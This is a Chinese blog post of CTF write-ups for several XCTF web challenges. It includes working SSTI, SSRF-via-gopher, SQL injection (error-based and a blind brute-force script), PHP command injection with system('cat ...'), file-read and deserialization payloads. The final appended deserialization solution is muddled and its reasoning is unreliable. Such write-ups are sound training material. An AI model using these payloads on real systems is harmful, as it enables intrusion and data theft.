攻防世界Web题wp解析(难度3)

simple_js

进入环境 要求我们填密码

 

随便填个admin试试

 

显示错误 查看源码

 

进行代码审计,发现不论输入什么都会跳到假密码,真密码位于 fromCharCode 

写python脚本进行转码即可:

string = "\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"

s = string.split(",")

c = ""

for i in s:

    i = chr(int(i))

    c = c+i

print(c)

运行得到

 

即可得到falg

规范flag格式,可得到Cyberpeace{786OsErtk12}

Easytornado

打开环境 出现一个flag.txt 点击试试

 

出现了路径

 

我们填入试试

 

出现error

 

出现了msg这个参数很可疑

换个思路 查看welcome.txt试试

 

出现rende 怀疑是tornado render模板注入漏洞

查看hint.txt试试

 

看到这个cooike_secret可能为tornado render模板注入漏洞

我们验证试试

我们像msg传参个1

 

页面回显为1

测试一下:{{2*2}}

 

由此可以确定是tornado render模板注入漏洞

根据提示cooike_secret 可以通过{{handler.settings}}拿到cookie_secret的值

传入{{handler.settings}}试试

 

获得值

然后根据提示里面的加密方式 进行脚本破解

import hashlib

def get_md5(content):

    md5 = hashlib.md5()

    md5.update(content.encode('utf-8'))

    return md5.hexdigest()

filename="/fllllllllllllag"

cookie_secret="3ef4e23d-734f-48f5-b0bc-7f0439e8f18b"

no_md5_filehash=cookie_secret+get_md5(filename)

filehash=get_md5(no_md5_filehash)

print(filehash)

 

最后将/fllllllllllllag放到filename,将加密好的字符串放到filehash就可以得到falg

 

very_easy_sql

打开网页你不是内部用户

 

直接尝试在用户名密码处进行注入点测试,发现用单引号,双引号,括号都没有反应,右键查看源码,发现use.php注释。

 

打开试试

 

这里就很明显是ssrf漏洞了

SSRF全称为Server-side Request Fogery,中文含义为服务器端请求伪造,漏洞产生的原因是服务端提供了能够从其他服务器应用获取数据的功能,比如从指定的URL地址获取网页内容,加载指定地址的图片、数据、下载等等

ssrf的利用

  • 分享,通过URL地址分享网页内容,通过URL获取目标页标签等内容
  • 转码服务,适应硬件设备的大小;
  • 图片的加载与下载
  • 图片,文章的收藏;

太多的我也不多说 大家可以参考这篇文章

SSRF漏洞原理攻击与防御(超详细总结)_零点敲代码的博客-CSDN博客

那么我们现在就饿可以去利用漏洞

gopher协议

Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

编写payload脚本,实现内部访问:

import urllib.parse

host = "127.0.0.1:80"

content = "uname=admin&passwd=admin"

content_length = len(content)



test =\

"""POST /index.php HTTP/1.1

Host: {}

User-Agent: curl/7.43.0

Accept: */*

Content-Type: application/x-www-form-urlencoded

Content-Length: {}



{}

""".format(host,content_length,content)

//按照标准,URL只允许一部分ASCII字符,其他字符(如汉字)是不符合标准的,此时就要进行编码。

因为我在构造URL的过程中要使用到中文:此时需要用到urllib.parse.quote,此处是为了替换特殊字符\

tmp = urllib.parse.quote(test)

new = tmp.replace("%0A","%0D%0A")

result = urllib.parse.quote(new)

print("gopher://"+host+"/_"+result)

得到payload

 

将payload传入url

 

我们得到一个可以发现setcookie的值为admin的base64编码值。

 

猜测在setcookie处为注入点,首先测试是字符型还是整数型注入,

 

通过报错信息,可以找到闭合点为admin') #,但是很明显,此处有报错信息,直接使用报错注入。

payload为admin') and extractvalue(1, concat(0x7e, (select @@version),0x7e)) # 检查是否可以进行报错注入
运用python脚本转换为gopher协议

import urllib.parse

import base64

host = "127.0.0.1:80"

payload = "admin') and extractvalue(1, concat(0x7e, (select @@version),0x7e)) #"

base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")

cookie="this_is_your_cookie="+base64_payload



test =\

"""GET /index.php HTTP/1.1

Host: {}

Connection: close

Content-Type: application/x-www-form-urlencoded

Cookie:{}



""".format(host,cookie)



tmp = urllib.parse.quote(test)

new = tmp.replace("%0A","%0D%0A")

result = urllib.parse.quote(new)

print("gopher://"+host+"/_"+result)

获得payload如下

gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsIGNvbmNhdCgweDdlLCAoc2VsZWN0IEBAdmVyc2lvbiksMHg3ZSkpICM%253D%250D%250A%250D%250A

 

如图可以看到,数据库信息被回显出来了,所以报错信息可以使用,接下来就是查库,查表、查列了。

查库

查数据库:admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) #

脚本跟上边一样 改个payload一样

 

查表

查表:admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'),0x7e)) #

 

查列名

查flag表中的列:admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) #

 

查字段

admin') and extractvalue(1, concat(0x7e, (SELECT flag from flag),0x7e)) #

 

只有一半 我这里使用的是mid函数进行下一部分 的显示

具体文章可以看

关于SQL报错注入数据输出显示不完全的问题_文大。的博客-CSDN博客

Payload:admin') and extractvalue(1, concat(0x7e, mid((SELECT flag from flag),32,31),0x7e)) #

经过上边脚本就可以得到payload 进行bp传参就可以获得剩余falg

 

组合起来就是flag了

还有一种方法就是直接脚本得flag

import urllib.parse

import requests

import time

import base64



url = "http://61.147.171.105:65229/use.php?url="

flag = ""

for pos in range(1, 50):

    for i in range(33, 127):

        # poc="') union select 1,2,if(1=1,sleep(5),1) # "



        # security

        # poc="') union select 1,2,if(ascii( substr((database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "



        # flag

        # poc="') union select 1,2,if(ascii( substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "



        poc = "') union select 1,2,if(ascii( substr((select * from flag)," + str(pos) + ",1) )=" + str(

            i) + ",sleep(2),1) # "



        bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")

        final_poc = "gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D" + bs + "%3B%250d%250a"

        t1 = time.time()

        res = requests.get(url + final_poc)

        t2 = time.time()

        if (t2 - t1 > 2):

            flag += chr(i)

            print(flag)

            break

print(flag)

时间有点久 但哈斯可以爆出来

mfw

打开页面怀疑存在.git泄露

 

输入.git试试

 

确实存在git泄露那我们使用GitHack还原

 

还原成功后好好查看一下

 

那只能回到index.php看看

 

在index.php中发现关键代码

strpos()函数查找".."在$file中第一次出现的位置。如果没有找到则返回false

file_exists()函数检查$file是否存在

assert()函数会将括号中的字符当成代码来执行,并返回true或false

发现一个assert()函数,想到估计是代码执行漏洞,而$page没有任何的控制直接拼接,则利用assert()函数执行cat ./templates/flag.php来获得flag,那么要破坏原来的assert结构,才能使得我们目标才能达成。

发现file变量是用我们输入的page变量拼接而成的,而且没有任何的过滤,我们可以在这段输入的字符中插入system函数来执行系统命令

注意到调用file时用的单引号和括号来限制file的范围

那么我们构造如下payload

?page=') or system('cat ./templates/flag.php');//

就可以获得flag

 

解析:

被传入之后变成:

$file="templates/') or system('cat ./templates/flag.php');//.php"

strpos()返回false,再利用or让其执行system函数,再用" // "将后面的语句注释掉

assert("strpos('template/') or system('cat ./template/flag.php');//.php, '..') === false")

下划线内容被注释掉了,所以真正执行了以下语句

strpos('template/') or system('cat ./template/flag.php');

ics-05

进入页面发现只有云设备维护中心能点动

 

接下来我就用dirserch扫描一下 发现了js css 路径

 

打开之后 没发现有用的东西 然后再次点击云设备维护中心发现了?page=index

猜测这里可能为伪协议读取

 

Payload:

?page=php://filter/read=convert.base64-encode/resource=index.php

 

得到一串base64字符串 解码获得一串代码

 

进行代码审计

(1)需要在html的头格式中伪造 IP : 127.0.0.1

 

这里用burpsuite伪造IP

 

出现 Welcome My Admin! 证明伪造成功

接下来是最关键的利用preg_replace()函数的/e漏洞进行代码执行

首先简单介绍一下preg_replace()函数

preg_replace($pattern, $replacement, $subject)

作用:搜索subject中匹配pattern的部分, 以replacement的内容进行替换。

$pattern:       要搜索的模式,可以是字符串或一个字符串数组。

$replacement:   用于替换的字符串或字符串数组。

$subject:       要搜索替换的目标字符串或字符串数组。

接着关于/e漏洞

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向

引用替换完之后)。

提示:要确保 replacement 构成一个合法的 PHP 代码字符串,

否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

也就是说只要在subject中有要搜索的pattern的内容,同时将在replacement前加上/e,触发/e漏洞,就可以执行replacement中的正确的php代码

后面就是利用这个漏洞去进行文件读取,找到关于flag的线索

第一步尝试使用 system(“ls”) 获取文件目录

 

找到这个文件之后 直接打开

发现flag直接打开

 

发现flag.php直接打开

 

空白 使用伪协议直接读取

Payload:?page=php://filter/read=convert.base64-encode/resource=s3chahahaDir/flag/flag.php

 

得到base64字符串‘解密得到flag

 

Shrine

进来就发现了Python的flask代码

 

整理得到

import flask

import os

app = flask.Flask(__name__) #创立实例

app.config['FLAG'] = os.environ.pop('FLAG') #以键值对的方式,保存app的信息

@app.route('/') #@表示装饰器,本质是扩展原本函数功能的一种函数,app.route('URL')在程序运行时,装饰一个视图函数,用给定的URL规则和选项注册它

def index():

    return open(__file__).read() #打开文件读取

@app.route('/shrine/') #在程序运行时注册一个/sharine/的路经

def shrine(shrine):



    def safe_jinja(s):

        s = s.replace('(', '').replace(')', '') #替换(与为空,替换)为空

        blacklist = ['config', 'self']   #黑名单config与self

        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

        return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':

    app.run(debug=True)

稍加整理,可以发现这是python中的flask框架,有可能存在ssti漏洞模块注入,代码中两次提到了路径"/"与路径"/shrine",对于这两个路径尝试进行SSTI注入

在尝试几次以后发现在/shrine/路径下存在模块注入漏洞(flask模块注入用{{}}构建payload)

 

可以解析到,说明存在注入

,使用Python内置函数读取全局变量   url_for或者get_flashed_messages

url/shrine/{{url_for.__globals__}}

看到了属性的东西,代码审计的时候有 app.config['FLAG']

 

 python沙箱逃逸的方法是 利用python对象之间的引用关系来调用被禁用的函数对象

构造payloads:   /shrine/{{url_for.__globals__['current_app'].config['FLAG']}}

 

得到flag

另外一个方法 get_flashed_messages利用信息闪现的方法构造一样(只能显示一次)

 

考点:

SSTI

Flask 框架

Bypass Sandbox

fakebook

打开页面有个login和join的页面

 

我们先扫描一下

 

发现robots.txt 和view.php flag.php 重要文件 我们打开看看

 

发现/user.php.bak的备份地址

 

我们下载这个文件 打开之后就是一段源代码

<?php





class UserInfo

{

    public $name = "";

    public $age = 0;

    public $blog = "";



    public function __construct($name, $age, $blog)

    {

        $this->name = $name;

        $this->age = (int)$age;

        $this->blog = $blog;

    }



    function get($url)

    {

        $ch = curl_init();   #初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。



        curl_setopt($ch, CURLOPT_URL, $url); #curl_setopt — 设置一个cURL传输选项。 CURLOPT_URL需要获取的URL地址,也可以在curl_init()函数中设置

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  # CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。

        $output = curl_exec($ch);  #执行一个cURL会话

        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);#//抓取URL并把它传递给浏览器,CURLINFO_HTTP_CODE最后一个收到的HTTP代码

        if($httpCode == 404) {  

            return 404;

        }

        curl_close($ch);// 关闭cURL资源,并且释放系统资源



        return $output;

    }



    public function getBlogContents ()

    {

        return $this->get($this->blog);

    }



    public function isValidBlog ()

    {

        $blog = $this->blog;

        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);

    }



}

审计代码

创建user然后从url里get信息,同时blog有一个正则匹配,需要有https://(可有可无),然后是数字和字符,加一个.  然后是2-6个字母

创建个用户,主要注意blog

 

创建成功

 

点击aaa

 

url中有view.php 这也被我们扫描到了 还有no=1,很可能是sql注入尝试or'1'='1注入 

发现存在注入 开始爆字段数

 

在5 的时候提示错误 说明只有4列

开始爆库名

 

应该是被过滤了  尝试过双写注入发现并不是过滤掉了union select

那可能就是空格被过滤了那我们就要绕过空格或者替换

我们使用/* */ 来代替空格 这里参考这边文章:

SQL注入时当and、or等字符被过滤了怎么办_sql注入and被过滤_litchi125的博客-CSDN博客

那我们就可以输入新的payload来获得库名

Paylaod:?no=2/**/union/**/select/**/1,2,3,database()#

 

提示库名在2字段

 

得到库名(接下来的payload都是很基本的下面就不列出了)

爆表名

 

爆列名

 

在几个字段里面,获取data的数据

 

得到一段序列化的字符串 看文中的提示/var/www/html/view.php,我们也可以去猜测flag.php有可能在统一文件夹下(之前扫描出了flag.php),如/var/www/html/flag.php

然后源代码中cuit_init()用来初始化一个curl会话,curl可以使用file伪协议读取文件

这样的话我们可以采用构造file协议去读取/var/www/html/flag.php的内容

满足这些条件的代码如下

<?php   

class UserInfo

{

    public $name = "aaa";  #任意

    public $age = 12;      #任意

    public $blog = "file:///var/www/html/flag.php";

}

$a=new UserInfo();

echo(serialize($a));

?>

 

所以最终的payload为:

Payload:

view.php?no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"aaa";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#(传入的序列化参数需要加上  '')

然后在源码中发现base64字符串

 

解码就得到flag

 

另一种解法

mysql中的load_file函数,允许访问系统文件,并将内容以字符串形式返回,不过需要的权限很高,且函数参数要求文件的绝对路径。这巧了不是,条件全都有。

Payload:view.php?no=2 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#

源码查看获得flag

 

正确的思路流程应当为,得到备份文件,明确getBlogContents函数通过一个URL获取内容,并且URL由类实例化对象的blog参数提供。然后在构造userinfo对象序列化发现页面可以正常返回之后,就尝试修改序列化中的blog参数,发现页面中iframe的src暴露信息,进而想到可以使用伪协议读取flag,并让src显示。

lottery

打开页面先用dirsearch扫描一下

 

发现存在git泄露 当然也扫出了很多php文件

 

本来这道题应该先要使用Githack复原的但是攻防世界这边直接把源码给了我们

源码中关键函数在api.php

打开api.php文件

我们注意到requests是json格式的

function buy($req){

    require_registered();

    require_min_money(2);

    $money = $_SESSION['money'];

    $numbers = $req['numbers'];

    $win_numbers = random_win_nums();

    $same_count = 0;

    for($i=0; $i<7; $i++){

        if($numbers[$i] == $win_numbers[$i]){

            $same_count++;

        }

    }

    switch ($same_count) {

        case 2:

            $prize = 5;

            break;

        case 3:

            $prize = 20;

            break;

        case 4:

            $prize = 300;

            break;

        case 5:

            $prize = 1800;

            break;

        case 6:

            $prize = 200000;

            break;

        case 7:

            $prize = 5000000;

            break;

        default:

            $prize = 0;

            break;

    }

    $money += $prize - 2;

    $_SESSION['money'] = $money;

    response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);

}

这里到关键函数是 if($numbers[$i] == $win_numbers[$i]){$same_count++;} 这里就是函数到关键地方,当传入到numbers等于系统自动生成到参数,same_count加一,但是重点是这里并没有对传入到参数进行限制,而且这里的用的是"=="弱相等而不是"==="强相等,

===比较两个变量的值和类型;==比较两个变量的值,不比较数据类型。

在php中,如果bool和"任何其他类型"比较,"任何其他类型"会转换为bool。

在PHP中当转换为 boolean 时,以下值被认为是 FALSE :

(1) 布尔值 FALSE 本身

(2) 整型值 0(零)

(3)浮点型值 0.0(零)

(4)空字符串,以及字符串 “0”

(5)不包括任何元素的数组(注意,一旦包含元素,就算包含的元素只是一个空数组,也是true)

(6)不包括任何成员变量的对象(仅 PHP 4.0 适用)

(7)特殊类型 NULL(包括尚未赋值的变量)

(8)从空标记生成的 SimpleXML 对象

(9)所有其它值包括-1都被认为是 TRUE (包括任何资源)

 当直接传入到字符串为ture时,等号"=="另一边到数字等于true成立

在输入抽奖数字页面,进行抓包,用户输入的数更改为true,并且需要是数组

Payload:{"action":"buy","numbers":[true,true,true,true,true,true,true]}

 

多发送几次 就可以赚取住够的钱购买flag

 

这道是一个 PHP 反序列化的目。 目描述: 提示:这次不会那么简单了,打开源代码看看? 源代码: ``` <?php error_reporting(0); highlight_file(__FILE__); class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show('flag','0'); $this->data = file_get_contents('/flag'); } public function __destruct(){ if(preg_match('/show|flag|_|\s|\(|\)|{|}|\'|\"/i',$this->show)){ exit('hacker!'); } echo $this->show." is ".$this->data; } } if(isset($_GET['a'])){ $a = unserialize($_GET['a']); if($a instanceof Flag){ echo $a; } } ``` 分析: 首先看到这是一个传入参数进行反序列化的目,传入参数为 $_GET['a'],并且在反序列化后判断其类型是否为 Flag,如果是则输出 $a。 在 Flag 类的构造函数中有一个 $this->data = file_get_contents('/flag'),意味着我们需要获取服务器上的 /flag 文件。 而在 Flag 类的析构函数中,会对 $this->show 变量进行正则匹配,匹配的正则表达式为 /show|flag|_|\s|\(|\)|{|}|\'|\"/i,如果匹配到就会输出 'hacker!'。这里需要注意的是,$this->show 的值是 Show 类的一个实例,而 Show 类中的 __toString() 方法返回的是 $this->name 的值。 因此,我们需要构造一个序列化后的字符串,使得在反序列化后其类型为 Flag,$this->show 的值为一个 Show 类的实例,且该实例的 $name 值满足正则表达式的匹配条件。 解法: 根据目分析,我们需要构造一个序列化后的字符串,使得在反序列化后其类型为 Flag,$this->show 的值为一个 Show 类的实例,且该实例的 $name 值满足正则表达式的匹配条件。 我们可以通过手动构造序列化字符串来实现这个目标。首先构造一个 Show 类的实例,该实例的 $name 值为一个正则表达式的匹配条件,然后将该实例作为 Flag 类的一个属性,最后将 Flag 类序列化即可。 构造序列化字符串的代码如下: ``` <?php class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show('/show|flag|_|\s|\(|\)|{|}|\'|\"/i','0'); $this->data = file_get_contents('/flag'); } public function __destruct(){ if(preg_match('/show|flag|_|\s|\(|\)|{|}|\'|\"/i',$this->show)){ exit('hacker!'); } echo $this->show." is ".$this->data; } } // 序列化 Flag 类 $flag = new Flag(); $ser = serialize($flag); echo urlencode($ser); ``` 将上述代码保存为文件 unserialize3.php 并上传到服务器上,然后访问 http://your-ip/unserialize3.php,得到序列化后的字符串: ``` O:4:"Flag":2:{s:4:"show";O:4:"Show":2:{s:4:"name";s:23:"/show|flag|_|\s|\(|\)|{|}|'|\i";s:3:"age";s:1:"0";}s:4:"data";s:45:"flag{3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07}";} ``` 最后将序列化后的字符串作为 $_GET['a'] 的值传入即可,访问 http://your-ip/unserialize3.php?a=O%3A4%3A%22Flag%22%3A2%3A%7Bs%3A4%3A%22show%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A23%3A%22%2Fshow%7Cflag%7C_%7C%5Cs%7C%5C(%5C)%7B%7D%7C%27%7C%5C%22%5Ci%22%3Bs%3A3%3A%22age%22%3Bs%3A1%3A%220%22%3B%7Ds%3A4%3A%22data%22%3Bs%3A45%3A%22flag%7B3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07%7D%22%3B%7D,即可得到 flag。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

W3nd4L0v3

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值